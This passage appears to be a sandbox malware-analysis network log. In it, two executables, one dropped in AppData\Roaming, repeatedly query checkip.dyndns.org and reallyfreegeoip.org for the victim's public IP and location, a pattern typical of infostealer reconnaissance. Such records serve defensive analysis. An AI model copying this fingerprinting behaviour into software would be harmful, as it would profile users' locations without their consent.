Oct 7, 2024 08:51:27.956156969 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 7, 2024 08:51:28.621740103 CEST	320	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 06:51:28 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 31c5606c0baaaa4a554d6a47fa209f5a Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49756	132.226.247.73	80	7540	C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 08:51:27.986356974 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 7, 2024 08:51:28.650738955 CEST	320	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 06:51:28 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: d040290ec4039214c8152c4cfa4b0dae Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49759	132.226.247.73	80	7180	C:\Users\user\Desktop\2i3Lj7a8Gk.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 08:51:29.232044935 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 7, 2024 08:51:29.924650908 CEST	320	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 06:51:29 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 35b423fc763e9734096cb7d377ec88a6 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49760	132.226.247.73	80	7540	C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 08:51:29.291100979 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 7, 2024 08:51:29.989221096 CEST	320	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 06:51:29 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 67a7b02ea8fec3c335b5edd06a5323d1 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49764	132.226.247.73	80	7540	C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 08:51:30.615340948 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 7, 2024 08:51:31.278855085 CEST	320	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 06:51:31 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: a75b0ab7afd68206e2f450209367110a Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49767	132.226.247.73	80	7540	C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 08:51:31.926182985 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 7, 2024 08:51:32.589632034 CEST	320	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 06:51:32 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 726cdb06590149c39157576ee8acb49e Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49771	132.226.247.73	80	7540	C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 08:51:33.233355045 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 7, 2024 08:51:33.904340982 CEST	320	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 06:51:33 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 9dc349d1deccd2594aae50713280ddff Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49734	188.114.96.3	443	7180	C:\Users\user\Desktop\2i3Lj7a8Gk.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:51:20 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-10-07 06:51:20 UTC	678	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 06:51:20 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 40215 Last-Modified: Sun, 06 Oct 2024 19:41:05 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=azkTzNSOLs1q7KlG489%2BVTErPkjSyYN6GlSxzCHoMiqNeWGbl0DqiUqBoF9fhNMl4yCqrPvb8yAlmtxoHpf61fsX6MlUM%2BvLXrg8SL7QkuzK1RgzM%2BYNOJ7k122bA35pKYpWL1L%2B"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cebf64c8e1743a7-EWR
2024-10-07 06:51:20 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-10-07 06:51:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49736	188.114.96.3	443	7180	C:\Users\user\Desktop\2i3Lj7a8Gk.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:51:21 UTC	60	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org
2024-10-07 06:51:21 UTC	676	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 06:51:21 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 40216 Last-Modified: Sun, 06 Oct 2024 19:41:05 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5WQ3syLkGVk7VOqrSpBfhHBgL6GZ0jCOow6pylIZRF8jO693PbDIIe0L%2BnntWSpiAQSFBh56qeE5z5PwGV9%2BAb0JRQ82M2%2B3Igxu4LAPgzjyTPZCiaxMQmt6ZLmdjNXwGGRI5vjB"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cebf651cd787cf3-EWR
2024-10-07 06:51:21 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-10-07 06:51:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49739	188.114.96.3	443	7180	C:\Users\user\Desktop\2i3Lj7a8Gk.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:51:22 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-10-07 06:51:22 UTC	676	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 06:51:22 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 40217 Last-Modified: Sun, 06 Oct 2024 19:41:05 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=O4LW2AtNbGVTzp1EdfM%2BjUCiordQxrwM8cetq7CWihVU01CtwXRMXCt58i%2BGomcN8aU9HTisLXz0iT59LxwH%2FTlTvMMn2XkgK35ppXG7uB1yKLcOOnc3neEzn1KNmobssnosbhIg"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cebf659de6841ec-EWR
2024-10-07 06:51:22 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-10-07 06:51:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49742	188.114.96.3	443	7180	C:\Users\user\Desktop\2i3Lj7a8Gk.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:51:23 UTC	60	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org
2024-10-07 06:51:24 UTC	680	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 06:51:24 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 40219 Last-Modified: Sun, 06 Oct 2024 19:41:05 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pk6l%2FXSBBv%2FfvXfmBWs83gEdw7rMUbQak8mbykc3NRsfvz0pQqmyE844MzQky5dlgpIAgeZbjPSgbAFyB2DUeS%2B%2FSmUrF6RbCdLc47JOEQJZiGbtPuNUaswxD8aV22OUdn%2BPepsc"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cebf66358048c60-EWR
2024-10-07 06:51:24 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-10-07 06:51:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49743	188.114.96.3	443	7540	C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:51:24 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-10-07 06:51:24 UTC	672	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 06:51:24 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 40219 Last-Modified: Sun, 06 Oct 2024 19:41:05 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zfSulsD6ysjsUlpeboxF%2BBqKhAWT9GRdVbHm1LaZiK8AcMypCcu3WUA4CpHlD60GVTxYQr9KY9rGnj6xT7lzx3Y5wiwsiTYLRHTEhVnYQAbqXKsiXH2pC4mZ7tYEz57PGmq2msu7"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cebf6668b83729f-EWR
2024-10-07 06:51:24 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-10-07 06:51:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49745	188.114.96.3	443	7180	C:\Users\user\Desktop\2i3Lj7a8Gk.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:51:25 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-10-07 06:51:25 UTC	708	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 06:51:25 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 40220 Last-Modified: Sun, 06 Oct 2024 19:41:05 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CH7uJFZqWSauoVNXYsqARp3O0f83Jq6akLJLU0coCER%2BcxGScf3xH79n%2Fe1Z8ofWgifMea%2Bahryj0pj596iDSkUwgjm3IYDEsOKkaq%2F5Zz9ZRP87u9jlwgtNK6xhwBq1YAoLYdZr"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cebf66b8edd5e62-EWR alt-svc: h3=":443"; ma=86400
2024-10-07 06:51:25 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-10-07 06:51:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49746	188.114.96.3	443	7540	C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:51:25 UTC	60	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org
2024-10-07 06:51:25 UTC	674	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 06:51:25 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 40220 Last-Modified: Sun, 06 Oct 2024 19:41:05 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FJQ64qPbKov37VkBeE2ZE0c5Ums0lz9DHOyXpekXmxWoANYGW2h0%2Fheo5Lc4qgQ4QtLcYenjNTo6LCCcxBsec4jCZPQn7PLYs0Y6BHSo9KtKAULt0DOfmDy6TagWHpJP4dKSZVwu"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cebf66bbc41de95-EWR
2024-10-07 06:51:25 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-10-07 06:51:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49749	188.114.96.3	443	7180	C:\Users\user\Desktop\2i3Lj7a8Gk.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:51:26 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
